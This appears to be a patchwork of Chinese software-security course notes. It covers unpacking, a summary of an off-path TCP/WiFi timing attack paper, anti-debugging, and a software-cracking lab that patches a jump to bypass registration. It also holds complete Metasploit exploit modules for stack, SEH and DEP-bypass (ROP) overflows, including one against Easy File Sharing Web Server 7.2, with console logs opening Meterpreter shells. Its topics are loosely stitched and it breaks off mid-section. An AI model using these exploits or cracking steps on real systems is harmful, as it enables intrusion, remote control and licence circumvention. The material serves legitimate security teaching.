   使用Import Reconstruct需要知道IAT表的起始位置。
   我们知道API函数的调用通常是通过间接跳转或者间接CALL来实现的。
   即JMP [XXXXXXX] or CALL [XXXXXX]，这样是直接调用IAT中保存的API函数地址。
   首先，定位到获取IAT中函数地址的跳转表,这里就是该程序将要调用到的一些API函数,我们可以看到这些跳转指令的都是以机器码FF 25开头的,有些教程里面说直接搜索二进制FF 25就可以快速的定位该跳表。
   看到整个IAT后,我们直接下拉到IAT的尾部,我们知道属于同一个动态库的API函数地址都是连续存放的,不同的动态库函数地址列表是用零隔开的。
   Import REConstructor重建IAT需要三项指标:
   1)IAT的起始地址,这里是403184,减去映像基址400000就得到了3184(RVA:相对虚拟地址)。
   2)IAT的大小
   IAT的大小 = 40328C - 403184 = 108(十六进制)
   3)OEP = 401000(虚拟地址)- 映像基址400000 = 1000(OEP的RVA)。

ASPack

ASPack是一款Win32可执行文件压缩软件，可压缩Win32可执行文件EXE、DLL、OCX，具有很高的兼容性和稳定性。

加密壳

加密壳种类较多，一些壳只保护程序，另一些壳提供额外的功能如注册、使用次数、时间限制。越有名的加密壳，其破解可能性越大。

ASProtect

这个壳在pack界当选老大是毫无异议的，当然这里的老大不仅指它的加密强度，而是在于它开创了壳的新时代，SEH,BPM断点的清除都出自这里，更为有名的当属RSA的使用，使得Demo版无法被crack成完整版本,code_dips也源于这里。IAT的处理即使到到现在看来也是很强的。他的特长在于各种加密算法的运用，这也是各种壳要学习的地方。
它可以压缩、加密、反跟踪代码、CRC校验和花指令等保护措施。
使用Blowfish、Twofish、TEA等加密算法，以RSA1024为注册密钥生成器，通过API钩子与加壳程序通信。
ASProtect为软件开发人员提供了SDK，从而实现了加密程序的内外结合。
ASProtect 1.x系列，低版本用Stripper工具可自动脱壳。ASProtect的SKE系列主要在protect OEP和SDK上采用了虚拟机技术。

加密后的特征

1. 导入函数很少
2. 程序的节名不再是典型的.text
3. 使用IDA打开，几乎没有可识别的代码
4. 使用OllyDbg打开程序，被警告该程序已加密，查找参考文本字符串都是乱码
5. 使用PEiD检查出是ASProtect加壳

论文来源：USENIX SECURITY 2018：Off-Path TCP Exploit: How Wireless Routers Can Jeopardize Your Secrets
下载：
原文pdf
中文slides

背景知识

测信道

香农信息论

什么是信息？ 用来减少随机不确定的东西

什么是加密？ 类似于加噪声，增加随机不确定性

“从密码分析者来看，一个保密系统几乎就是一个通信系统。待传的消息是统计事件，加密所用的密钥按概率选出，加密结果为密报，这是分析者可以利用的，类似于受扰信号。”

侧信道随之出现 越过加密算法增加的随机不定性，从其他的渠道获取数据标签，确定信息内容。

1. 早期：采集加密电子设备在运行过程中的时间消耗、功率消耗或者电磁辐射消耗等边缘信息的差异性
2. 而随着研究的深入，逐渐从加密设备延伸到计算机内部CPU、内存等之间的信息传递
3. 并在Web应用交互信息传递越来越频繁时，延伸到了网络加密数据流的破解方面

侧信道攻击的流程 第一个就是侧信道泄露的截取，第二个是信息的恢复。

网络攻击

1. 中间人攻击

   “指攻击者与通讯的两端分别创建独立的联系，并交换其所收到的数据，使通讯的两端认为他们正在通过一个私密的连接与对方直接对话，但事实上整个会话都被攻击者完全控制。”

• 公共wifi、路由器劫持
• 一般使用加密来防御
• 加密的代价：维护密钥证书、影响功能（运营商无法做缓存）

2. 非中间人攻击/偏离路径攻击/off-path attack

   通信线路之外，攻击者看不到双方的消息，没办法截获和发送通信包。智能伪造成一方给另一方发消息。

• 攻击成功需要：消息合法+最先到达
• 防御措施：challenge-response/询问-应答机制
  双方在通信前交换一个随机数，这个随机数在每次的通信中都要被附带，而中间人看不见这个随机数，因此伪造的消息被认为不合法。
• 攻击者如何得到这个随机数：侧信道

TCP三次握手

1. 客户端通过向服务器端发送一个SYN来创建一个主动打开，作为三路握手的一部分。客户端把这段连接的序号设定为随机数A。
2. 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1，SYN/ACK包本身又有一个随机产生的序号B。
3. 最后，客户端再发送一个ACK。当服务端收到这个ACK的时候，就完成了三路握手，并进入了连接创建状态。此时包的序号被设定为收到的确认号A+1，而响应号则为B+1。

通过三次握手，确定对方不是非中间人

TCP序列号的问题

1. 90年代时发现并不随机：1995年伪造客户端连接微软大楼的服务器
2. 2007年在windows场景下用IDID侧信道猜出序列号：只针对Windows，花费几小时

Malware-assisted

攻击模型：
给受害者安装一个无特权的应用程序（仅能网络连接），这个程序跟非中间人的攻击者里应外合，劫持手机上所有的TCP连接。

如何劫持TCP

1. 需要的信息：Facebook的连接IP地址和端口号，由此可以知道TCP连接的序列号，利用序列号伪装成Facebook给手机发消息。
   使用netstat命令获取：
   

2. 任务：由于TCP的序列号通常连续，所以要精确猜到它的下一个序列号。

3. 如何验证序列号正确：通过某种侧信道，这个恶意软件在后台可以提供反馈。

变种一：防火墙

攻击过程： TCP三次握手之后产生A和B，将来传输的包序列号必须跟A和B很接近，否则，防火墙会丢弃这个包。因此只有猜对了序列号，包才能到达手机端。到达手机端后，后台的恶意软件可以帮助我们判断手机是否接受了这个数据包。

具体侧信道方案： CPU资源使用率（噪音很大）——>TCP计数器（后台软件运行制造噪音）——>低噪音计数器：包被丢掉时，一个相应的错误计数器。

解决方法： 关闭防火墙检查序列号的功能

变种二：无防火墙

具体侧信道方案：跟TCP业务逻辑有关的计数器——收到的TCP包序列号小于期望时增加，大于时不变。二分查找搜索正确的序列号。
影响范围：Android、Linux、MacOS、FreeBSD

Pure off-path:无恶意软件协助

不植入恶意软件，劫持任意两台机器的TCP连接：首先确定是否建立TCP连接，然后推测其序列号A和B。

Global Rate Limit

USENIX 2016 : Off-Path TCP Exploits: Global Rate Limit Considered Dangerous

侧信道： 所有的侧信道，本质上就是攻击者和受害者之间共享着某些资源，如之前的全局TCP计数器。这里使用的侧信道是 服务器上 的共享资源，限速器（RFC 5961）限制某一种包的发送速率（默认100p/s）

如何利用共享限速器：
先判断是否建立了连接。然后伪造TCP包，需要猜测源端口，如果猜测正确，服务器会返回一个challenge，攻击者不断触发，一共可以收到99个（还有一个发给了客户端）；如果猜测错误，则一共可以收到100个challenge。

评估： 是否建立了连接：<10s ; Seq：30s ； ACK:<10s

解决方案： 1. 加噪音，100变成150、200；2. 限速器做成局部的

Unfixable WiFi timing

USENIX 2018 : Off-Path TCP Exploit: How Wireless Routers
Can Jeopardize Your Secrets
之前的漏洞无论是计数器还是限速器都属于软件，很好更正，但这篇文章的漏洞利用无法修复。

TCP收包的原理： 通常TCP收包要看这个包是否匹配了当前的某一个连接。如果连接匹配上了，就会去看这个包的序列号；如果序列号不对，会触发一个回复，说明这个序列号存在问题；如果序列号正确，但反向序列号不对，也会丢包。当连接匹配、序列号和反向序列号正确时，就会返回一个数据包。

侧信道： 攻击者伪装成服务器给客户端发包，正确的序列号会有回复，错误则没有。但回复时发送给服务器的，有没有回复攻击者并不知道。那么如何去判断有没有回复，利用无线网络的 半双工 传输。
让有回包和没有回包的时间差异放大。

判断流程： 客户端和路由器之间wifi通信。攻击者依次发送三个数据包，第一个包用来测试正常的RTT。第2个包是伪装成服务器发送的，如果第2个包猜对了，客户端会向服务器返回数据包，这会导致占用更长时间的wifi信道，从而会使第3个包的RTT更长。

评估： 在本地环境下，如果发送40个包，就有20ms的RTT差别。

攻击应用：
1. 攻击模型： 受害者访问了我们的钓鱼网站，这时javascript（傀儡）会在后台执行，主动建立到攻击者的连接（规避NAT或防火墙造成的不可抵达问题），这时攻击者就可以从外网测试RTT。

与理想情况的不同：客户端通常在NAT或防火墙之后；操作系统不一定严格遵守TCP收包的原则

Attacker -------wire----------|
                           Router ---------wireless-------Victim (client)
Server   -------wire----------|

2. 攻击目标： 推断出客户端和服务器是否建立了连接；合计连接中交换的字节数或强制中断连接；注入恶意payload到连接（不失一般性的关注web缓存投毒）。前两个不需要傀儡初始化连接，第三个不一定需要，但攻击者控制了时序，能够简化攻击。

3. 攻击过程： 假设傀儡已经建立了连接，攻击者可以劫持并替换任何不加密的网站（如武汉大学），并在浏览器缓存。这是因为当浏览器请求相同的ip地址时，会复用之前的TCP连接。这意味着恶意网站中的傀儡可以通过重复HTML元素来建立到目标域名的单个持久连接。然后，路径外攻击者可以进行侧信道攻击，以推断目标连接中使用的端口号和序列号，然后注入虚假的http响应，并要求浏览器不重新检查对象的新鲜度，从而达到持续性的缓存投毒。

4. 细节：

• 连接（四元组）推断： 每一轮使用30个重复包测试一个端口，如果端口号正确，就会发现RTT大幅增加。如果还要完成 web缓存投毒 ，还需要傀儡初始化连接来协助，根据系统不同，有不同的端口选择算法可以优化：windows&macOS 使用全局和顺序端口分配策略为其TCP连接选择短暂的端口号，这意味着攻击者可以在观察到与恶意Web服务器的初始连接后推断出要使用的下一个端口号，这完全消除了对端口号推断的需要。NAT 端口保留，不需要关心外部端口被转换成不可预知的内部端口。来自同一域名的多个IP地址，这意味着攻击者需要付出更大的代价来推断端口号。
• 序列号推断： 通过利用时序侧信道来判断是否存在相应的响应，从而将窗口序列号与窗外序列号区分开来。一旦我们得到一个 窗口内序列号，通过进行二分搜索进一步将序列号空间缩小到单个值 RCV.NXT。如果还要使用傀儡建立的连接发起web缓存投毒，可以进一步优化：增大接收窗口的大小，可以减少猜测的迭代次数，通常可以放大到500000(之前是65535)，而且根据RFC793,窗口放大之后就永远不会缩小。
  

• TCP劫持： 通过劫持傀儡初始化的连接，可以简化web缓存投毒的过程。三个os在ACK验证上都不符合规范，所以各自处理情况也不同——windows：客户端必须持续发送请求以防止ACK接收窗口仅为一个字节，这要求攻击者必须能准确预期下一个序列号并解决大量流量带来的噪声。
  因此，作者设计了一种新策略，该策略利用处理重叠数据的TCP行为和处理损坏的HTTP响应的浏览器行为——在Windows主机上缓冲的攻击者注入数据可能会破坏来自服务器的真实HTTP响应。 （1）注入，傀儡不断从服务器上请求脚本，而攻击者发送2^23/|wnd|个欺骗性数据包，这些包的窗口序列号与RCV.NXT加上偏移量相匹配，其中|wnd|为ack接收窗口大小，第i个数据包的ACK号为i*|wnd|，payload为

  websocket.send(|wnd|*i)

  因此，这些数据包中包含有效ACK号的一个包将被缓冲，并破坏真实的HTTP响应头。浏览器执行注入的脚本时，它将通过websocket发送猜测的ACK号，提供有效的窗口内ACK号。
  
  （2）利用，由于客户端已经接受了额外的欺骗payload，推进了其预期的序列号，因此客户端和服务器实际上已经被去同步。攻击者现在可以简单地发送欺骗性响应（知道预期的序列号和有效的ACK号）。如果我们只想执行一次性注入，只需用恶意脚本替换第一步中的payload就足够了。
  此外，针对Windows的注入步骤存在更加通用的替代策略，不依赖于浏览器行为。 具体来说，由于HTTP响应的前几个字节是可预先确定的（即HTTP），不破坏真实的响应，而是覆盖标题和正文以形成合法但恶意的响应。 在这种情况下，浏览器将完全忘记注入的存在。 这表明一旦序列号泄露，就存在各种方法来有效地将数据注入浏览器，而不用进行基于时间信道的慢得多的ACK号推断。

Discussion

时序侧信道来自无线网络的半双工性质。由于无线协议中固有的冲突和回退，它被进一步放大。正如我们的测试路由器所证实的那样，现代无线路由器都支持CSMA / CA和RTS / CTS，因为它是802.11标准的一部分，并且该原则不太可能很快改变。
虽然作者只讨论威胁模型，其中来自受害客户端的连接是针对性的，但攻击实际上也适用于源自通过同一无线路由器连接的其他客户端的连接。这是因为所有这些客户端（例如，在相同NAT之后）共享了相同的冲突域并因此遭受相同的定时信道。通过探测数据包在任何客户端上触发的响应将有效地延迟探测后查询。在这种情况下，受害者连接（通过傀儡打开）只是为远程攻击者提供了测量碰撞的机会。
此外，我们可以扩展威胁模型以考虑无线连接的服务器，例如物联网设备。已经证明，通过公共IP地址和开放端口可以访问数百万个物联网设备。在这种情况下，可以针对此类IoT设备上的连接启动完全偏离路径的攻击。例如，计算在连接上交换的字节，终止与另一主机的连接，在正在进行的telnet连接上注入恶意命令。

（1）需要什么

• Immunity Debugger -Download
• Mona.py -Download
• Metasploit框架-下载
• 靶机–Windows XP sp3

• 函数调用与栈：调用、返回
• 寄存器与函数栈帧：ESP、EBP
• 函数栈帧：局部变量、栈帧状态值、函数返回地址
• 函数调用约定与相关指令：参数传递方式、参数入栈顺序、恢复堆栈平衡的操作

（2）函数调用的汇编过程

1. 示例程序

   charname[] = "1234567"; voidfunc(int a, int b, int c) { charbuf[8]; strcpy(buf, name); }

2. 汇编过程

• PUSH c, PUSH b, PUSH a
• CALL address of func【保存返回地址；跳转】
• MOV ebp, esp
• PUSH ebp
• SUB esp, 0x40
• 创建局部变量，4个字节为一组
• do something
• add esp, 0x40
• pop ebp
• RETN【弹出返回地址，跳转】

3. 栈帧结构
   

0x01 简单栈溢出

目标程序:
bof-server source code
bof-server binary for Windows
usage:
服务端
bof-server.exe 4242
客户端
telnet localhost 4242
version
bof-server v0.01
quit

漏洞点

产生崩溃
将输出的1024个A发送给靶机程序

python -c "print('A' * 1024)"
telnet 192.168.64.138 4242

关闭防御措施

使用PESecurity检查可执行文件本身的防御措施开启情况
注意设置：Set-ExecutionPolicyUnrestricted

ASLR和DEP
ASLR在xp下不用考虑，DEP可通过修改boot.ini中的nonexecute来完成（AlwaysOff、OptOut）

整体的攻击流程

1. 任意非00的指令覆盖buffer和EBP
2. 从程序已经加载的dll中获取他们的jmp esp指令地址。
3. 使用jmp esp的指令地址覆盖ReturnAddress
4. 从下一行开始填充Shellcode
   

确定溢出点的位置

1. 生成字符序列 pattern_create.rb
   

2. 发送给目标程序
   

3. 计算偏移量 pattern_offset.rb
   

4. 确定payload结构
   

寻找jmp esp跳板

1. OD附加进程看一下服务器加载了哪些模块
   
2. 查找JMP ESP指令的地址
   在这里选择了ws2_32.dll作为对象，通过Metasploit的msfbinscan进行搜索
   

自动化攻击

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
  super(update_info(info,
    'Name' 		=> 'Stack Based Buffer Overflow Example',
    'Description' 	=> %q{
      			    Stack Based Overflow Example Application Exploitation Module
    			   },
    'Platform' 		=> 'Windows',
    'Author' 		=> 'yanhan',

    'Payload' 		=>
      			   {
        		   'space' => 400,
                           'BadChars' => "\x00\xff"
                      	   },
    'Targets'  		=>
      			   [
        		     [
			      'Windows XP SP3',
			      {'Ret' => 0x71a22b53, 'Offset' => 520}
			     ]
      			   ],
     'DisclosureDate' => '2019-05-25'
  ))
  end

  def exploit
    connect
    buf = make_nops(target['Offset'])
    buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    sock.put(buf)
    handler
    disconnect
   end
end

msf5 > use exploit/windows/yanhan/bof_attack
msf5 exploit(windows/yanhan/bof_attack) > set rhosts 192.168.31.114
rhosts => 192.168.31.114
msf5 exploit(windows/yanhan/bof_attack) > set rport 1000
rport => 1000
msf5 exploit(windows/yanhan/bof_attack) > exploit

[*] Started reverse TCP handler on 192.168.31.84:4444
[*] Sending stage (179779 bytes) to 192.168.31.114
[*] Meterpreter session 1 opened (192.168.31.84:4444 -> 192.168.31.114:1062) at 2019-07-10 16:38:51 +0800

meterpreter > ls
Listing: C:\Documents and Settings\Administrator
================================================

Mode              Size     Type  Last modified              Name
----              ----     ----  -------------              ----
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  Application Data
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  Cookies
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  Favorites
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  Local Settings
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  My Documents
100666/rw-rw-rw-  1048576  fil   2019-05-14 09:54:43 +0800  NTUSER.DAT
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  NetHood
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  PrintHood
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  Recent
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  SendTo
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  Templates
100777/rwxrwxrwx  26665    fil   2019-05-28 14:59:10 +0800  bof-server.exe
100666/rw-rw-rw-  1024     fil   2019-05-14 09:54:43 +0800  ntuser.dat.LOG
100666/rw-rw-rw-  178      fil   2019-05-14 09:54:43 +0800  ntuser.ini
40777/rwxrwxrwx   0        dir   2019-05-29 10:49:26 +0800  vulnserver
40555/r-xr-xr-x   0        dir   2019-05-14 09:54:43 +0800  「开始」菜单
40777/rwxrwxrwx   0        dir   2019-05-14 09:54:43 +0800  桌面

meterpreter >

0x02 基于SEH的栈溢出

目标程序 Easy File Sharing Web Server 7.2

漏洞点
在处理请求时存在漏洞——一个恶意的请求头部（HEAD或GET）就可以引起缓冲区溢出，从而改写SEH链的地址。

利用seh
填充物+nseh+ seh（pop popretn指令序列地址）+shellcode

确定溢出点的位置

1. 生成字符序列

   /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 10000 > a.txt python -c "print(' HTTP/1.0\r\n\r\n')" > b.txt cat a.txt b.txt > c.txt

删除cat造成的多余字符0x0a

vim -bz.txt
# In Vim
:%!xxd
# After editing, use the instruction below to save
:%!xxd -r

2. 构造SEH链

• 将Easy File Sharing Web Server 7.2加载到ImmunityDebugger中，并处于运行状态。
• 发送溢出字符序列
• 查看Easy File Sharing Web Server 7.2溢出地址
  

3. 计算偏移量
   计算catch块偏移量&计算下一条SEH记录偏移量

寻找PPR

1. 使用mona寻找
   需要POP/POP/RET指令的地址来载入下一条SEH记录的地址，并跳转到攻击载荷

   !mona modules !mona seh

自动化攻击

1. 编写攻击脚本

   require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Easy File Sharing HTTP Server 7.2 SEH Overflow', 'Description' => %q{ This Module Demonstrate SEH based overflow example }, 'Author' => 'yanhan', 'Payload' => { 'Space' => 390, 'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e" }, 'Platform' => 'Windows', 'Targets' => [ [ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x10022fd7, 'Offset' => 4061 } ] ], 'DisclosureDate' => '2019-01-16', )) end def exploit connect weapon = "HEAD " weapon << make_nops(target['Offset']) weapon << generate_seh_record(target['Ret']) weapon << make_nops(20) weapon << payload.encoded weapon << " HTTP/1.0\r\n\r\n" sock.put(weapon) handler disconnect end end

2. exploit

   msf5 > use exploit/windows/yanhan/seh_attack msf5 exploit(windows/yanhan/seh_attack) > set rhosts 192.168.31.114 rhosts => 192.168.31.114 msf5 exploit(windows/yanhan/seh_attack) > set rport 80 rport => 80 msf5 exploit(windows/yanhan/seh_attack) > exploit [*] Started reverse TCP handler on 192.168.31.84:4444 [*] Exploit completed, but no session was created. msf5 exploit(windows/yanhan/seh_attack) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf5 exploit(windows/yanhan/seh_attack) > exploit [*] Started bind TCP handler against 192.168.31.114:4444 [*] Sending stage (179779 bytes) to 192.168.31.114 [*] Meterpreter session 1 opened (192.168.31.84:46601 -> 192.168.31.114:4444) at 2019-07-10 16:43:47 +0800 meterpreter > getuid Server username: WHU-3E3EECEBFD1\Administrator

0x03 绕过DEP

目标程序 Introducing Vulnserver
使用 vulnserver.exe 6666
漏洞点

设置DEP保护

构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode

计算偏移量

'TRUN .'+make_nops(target['Offset'])
Immunity附加进程之后，在服务端发送3000个字符，计算偏移

创建ROP链

!mona rop -m *.dll -cp nonull

################################################################################

Register setup for VirtualProtect() :
--------------------------------------------
 EAX = NOP (0x90909090)
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = ReturnTo (ptr to jmp esp)
 ESI = ptr to VirtualProtect()
 EDI = ROP NOP (RETN)
 --- alternative chain ---
 EAX = ptr to &VirtualProtect()
 ECX = lpOldProtect (ptr to W address)
 EDX = NewProtect (0x40)
 EBX = dwSize
 ESP = lPAddress (automatic)
 EBP = POP (skip 4 bytes)
 ESI = ptr to JMP [EAX]
 EDI = ROP NOP (RETN)
 + place ptr to "jmp esp" on stack, below PUSHAD
--------------------------------------------


ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :
----------------------------------------------------------

*** [ Ruby ] ***

  def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets =
    [
      0x77dabf34,  # POP ECX # RETN [ADVAPI32.dll]
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x77d1927f,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]
      0x7c96d192,  # XCHG EAX,ESI # RETN [ntdll.dll]
      0x77bef671,  # POP EBP # RETN [msvcrt.dll]
      0x625011af,  # & jmp esp [essfunc.dll]
      0x77e9ad22,  # POP EAX # RETN [RPCRT4.dll]
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x77e6c784,  # NEG EAX # RETN [RPCRT4.dll]
      0x77dc560a,  # XCHG EAX,EBX # RETN [ADVAPI32.dll]
      0x7c87fbcb,  # POP EAX # RETN [kernel32.dll]
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77d4493b,  # NEG EAX # RETN [USER32.dll]
      0x77c28fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
      0x77bef7c9,  # POP ECX # RETN [msvcrt.dll]
      0x7c99bac1,  # &Writable location [ntdll.dll]
      0x719e4870,  # POP EDI # RETN [mswsock.dll]
      0x77e6d224,  # RETN (ROP NOP) [RPCRT4.dll]
      0x77e8c50c,  # POP EAX # RETN [RPCRT4.dll]
      0x90909090,  # nop
      0x77de60c7,  # PUSHAD # RETN [ADVAPI32.dll]
    ].flatten.pack("V*")

    return rop_gadgets

  end


  # Call the ROP chain generator inside the 'exploit' function :


  rop_chain = create_rop_chain()

自动化攻击

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'DEP Bypass Exploit',
      'Description'    => %q{
        		  DEP Bypass Using ROP Chains Example Module
      			  },
      'Platform'       => 'Windows',
      'Author'         => 'yanhan',
      'Payload'        =>
        		  {
          		  'space'     => 312,
          		  'BadChars'  => "\x00"
        		  },
      'Targets'        =>
      		  	  [
          		    [
			    'Windows XP',
			    {'Offset'  => find it}
			    ]
        		  ],
      'DisclosureDate' => '2019-01-16'))
  end

  def create_rop_chain()

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets =
    [
      0x77dabf34,  # POP ECX # RETN [ADVAPI32.dll]
      0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
      0x77d1927f,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll]
      0x7c96d192,  # XCHG EAX,ESI # RETN [ntdll.dll]
      0x77bef671,  # POP EBP # RETN [msvcrt.dll]
      0x625011af,  # & jmp esp [essfunc.dll]
      0x77e9ad22,  # POP EAX # RETN [RPCRT4.dll]
      0xfffffdff,  # Value to negate, will become 0x00000201
      0x77e6c784,  # NEG EAX # RETN [RPCRT4.dll]
      0x77dc560a,  # XCHG EAX,EBX # RETN [ADVAPI32.dll]
      0x7c87fbcb,  # POP EAX # RETN [kernel32.dll]
      0xffffffc0,  # Value to negate, will become 0x00000040
      0x77d4493b,  # NEG EAX # RETN [USER32.dll]
      0x77c28fbc,  # XCHG EAX,EDX # RETN [msvcrt.dll]
      0x77bef7c9,  # POP ECX # RETN [msvcrt.dll]
      0x7c99bac1,  # &Writable location [ntdll.dll]
      0x719e4870,  # POP EDI # RETN [mswsock.dll]
      0x77e6d224,  # RETN (ROP NOP) [RPCRT4.dll]
      0x77e8c50c,  # POP EAX # RETN [RPCRT4.dll]
      0x90909090,  # nop
      0x77de60c7,  # PUSHAD # RETN [ADVAPI32.dll]
    ].flatten.pack("V*")

    return rop_gadgets
  end


  def exploit
    connect
    rop_chain = create_rop_chain()
    junk = make_nops(target['Offset'])
    buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n'
    sock.put(buf)
    handler
    disconnect
  end
end

msf5 > use exploit/windows/yanhan/rop_attack
msf5 exploit(windows/yanhan/rop_attack) > set rhosts 192.168.31.114
rhosts => 192.168.31.114
msf5 exploit(windows/yanhan/rop_attack) > set rport 1000
rport => 1000
msf5 exploit(windows/yanhan/rop_attack) > exploit

[*] Started reverse TCP handler on 192.168.31.84:4444
[*] Exploit completed, but no session was created.
msf5 exploit(windows/yanhan/rop_attack) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(windows/yanhan/rop_attack) > exploit

[*] Started bind TCP handler against 192.168.31.114:4444
[*] Exploit completed, but no session was created.
msf5 exploit(windows/yanhan/rop_attack) > exploit

[*] Started bind TCP handler against 192.168.31.114:4444
[*] Sending stage (179779 bytes) to 192.168.31.114
[*] Meterpreter session 1 opened (192.168.31.84:44537 -> 192.168.31.114:4444) at 2019-07-10 16:51:07 +0800

meterpreter > getuid
Server username: WHU-3E3EECEBFD1\Administrator

1. 功能限制
2. 时间限制

• 运行时长限制
• 使用日期限制
• 使用次数限制

3. 警告窗口

分析工具

1. 静态分析工具

• IDA
• W32Dasm
• lordPE
• Resource Hacker

2. 动态分析工具

• OllyDbg
• WinDbg

对抗分析技术

1. 反静态分析技术

• 花指令
• 自修改代码技术
• 多态技术
• 变形技术
• 虚拟机保护技术

2. 反动态分析技术

• 检测调试状态
• 检测用户态调试器
• 检测内核态调试器
• 其他方法：父进程检测；StartupInfo 结构；时间差；通过Trap Flag检测

3. 发现调试器后的处理

• 程序自身退出
• 向调试器窗口发送消息使调试器退出
• 使调试器窗口不可用
• 终止调试器进程

PE文件格式基础

加壳脱壳

反调试技术

反调试技术，程序用它来识别是否被调试，或者让调试器失效。为了阻止调试器的分析，当程序意识到自己被调试时，它们可能改变正常的执行路径或者修改自身程序让自己崩溃，从而增加调试时间和复杂度。

探测windows调试器

1. 使用windows API
   使用Windows API函数探测调试器是否存在是最简单的反调试技术。
   通常，防止使用API进行反调试的方法有在程序运行期间修改恶意代码，使其不能调用API函数，或修改返回值，确保执行合适的路径，还有挂钩这些函数。
   常用来探测调试器的API函数有：IsDebuggerPresent CheckRemoteDebuggerPresent NtQueryInformationProcess OutputDebuggString
2. 手动检测数据结构
   程序编写者经常手动执行与这些API功能相同的操作

• 检查BeingDebugged属性
• 检测ProcessHeap属性
• 检测NTGlobalFlag

3. 系统痕迹检测
   通常，我们使用调试工具来分析程序，但这些工具会在系统中驻留一些痕迹。程序通过搜索这种系统的痕迹，来确定你是否试图分析它。例如，查找调试器引用的注册表项。同时，程序也可以查找系统的文件和目录，查找当前内存的痕迹，或者查看当前进程列表，更普遍的做法是通过FindWindows来查找调试器。

识别调试器的行为

在逆向工程中，可以使用断点或单步调试来帮助分析，但执行这些操作时，会修改进程中的代码。因此可以使用几种反调试技术探测INT扫描、完整性校验以及时钟检测等几种类型的调试器行为。

1. INT扫描
   调试器设置断点的基本机制是用软件中断INT 3，机器码为0xCC，临时替换程序中的一条指令。因此可以通过扫描INT 3修改来检测。
2. 执行代码校验和检查
   与INT扫描目的相同，但仅执行机器码的CRC或MD5校验和检查。
3. 时钟检测
   被调试时，进程的运行速度大大降低，常用指令有：rdstc QueryPerformanceCounter GetTickCount,有如下两种方式探测时钟：

• 记录执行一段操作前后的时间戳
• 记录触发一个异常前后的时间戳

  干扰调试器的功能

  本地存储(TLS)回调：TLS回调被用来在程序入口点执行之前运行代码，这发生在程序刚被加载到调试器时
  使用异常：使用SEH链可以实现异常，程序可以使用异常来破坏或探测调试器，调试器捕获异常后，并不会将处理权立即返回给被调试进程。
  插入中断：插入INT 3、INT 2D、ICE

  调试器漏洞

  PE头漏洞、OutputDebugString漏洞

实验一：软件破解

对象

crack.exe，28.0 KB

• 无保护措施：无壳、未加密、无反调试措施
• 用户名至少要5个字节
• 输入错误验证码时输出：“Bad Boy!”

爆破

查找显示注册结果相关代码

当输入错误验证码时，程序会输出“Bad Boy”，因此我们将程序拖入IDA，以流程图显示函数内部的跳转。查找“Bad Boy”字符串，我们可以定位到显示注册结果的相关代码：

查找注册码验证相关代码

用鼠标选中程序分支点，按空格切换回汇编指令界面

可以看到，这条指令位于PE文件的.text节，并且IDA已经自动将地址转换为运行时的内存地址VA:004010F9

修改程序跳转

• 现在关闭IDA，换用OllyDbg进行动态调试来看看程序时如何分支跳转的Ctrl+G直接跳到由IDA得到的VA:004010F9处查看那条引起程序分支的关键指令
• 选中这条指令，按F2设置断点，再按F9运行程序，这时候控制权会回到程序，OllyDbg暂时挂起。到程序提示输入名字和序列号，随意输入（名字大于五个字节），点击ok后，OllyDbg会重新中断程序，收回控制权，如图：
  

• 验证函数的返回值存于EAX寄存器中，if语句通过以下两条指令执行

  cmp eax,ecx jnz xxxxxxx

• 也就是说，当序列号输入错误时，EAX中的值为0，跳转将被执行。
  如果我们把jnz这条指令修改为jz，那么整个程序的逻辑就会反过来。
  双击jnz这条指令，将其改为jz，单击”汇编”将其写入内存
  
  可以看到此时程序执行了相反的路径

• 上面只是在内存中修改程序，我们还需要在二进制文件中也修改相应的字节，这里考察VA与文件地址之间的关系

• 用LordPE打开.exe文件，查看PE文件的节信息
  
  根据VA与文件地址的换算公式：

  文件偏移地址 = VA - Image Base - 节偏移 = 0x004010F9 - 0x00400000 - 0 = 0x10F9

也就是说，这条指令在PE文件中位于10F9字节处，使用010Editer打开crack.exe，将这一字节的75(JNZ)`改为74(JZ)`，保存后重新执行，破解成功！

编写注册机

查找显示注册结果相关代码

